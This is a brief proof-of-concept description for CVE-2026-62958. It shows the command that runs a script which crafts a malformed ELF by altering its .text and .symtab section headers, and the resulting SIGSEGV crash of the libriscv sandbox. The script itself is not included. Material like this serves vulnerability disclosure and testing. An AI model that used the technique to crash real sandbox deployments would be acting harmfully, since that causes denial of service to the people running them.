
Proof-of-concept for CVE-2026-62958: crafts a malformed ELF to trigger an out-of-bounds read in Libriscv and crash the sandbox with SIGSEGV.
A vulnerability in Libriscv allows the attacker to crash the sandbox using an Out of Bounds Read.
To create Bad elf:
python3 poc.py samplefile poisoned_file
Results:
❯ python3 poc.py fib poisoned_file
Manipulating .text section header at offset 0x250
Manipulating .symtab section header at offset 0x710
❯ ./rvlinux poisoned_file
fish: Job 1, './rvlinux poisoned_file' terminated by signal SIGSEGV (Address boundary error)